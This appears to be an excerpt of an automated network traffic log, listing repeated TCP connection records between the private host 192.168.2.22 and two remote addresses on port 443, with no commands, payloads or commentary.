Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443

Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
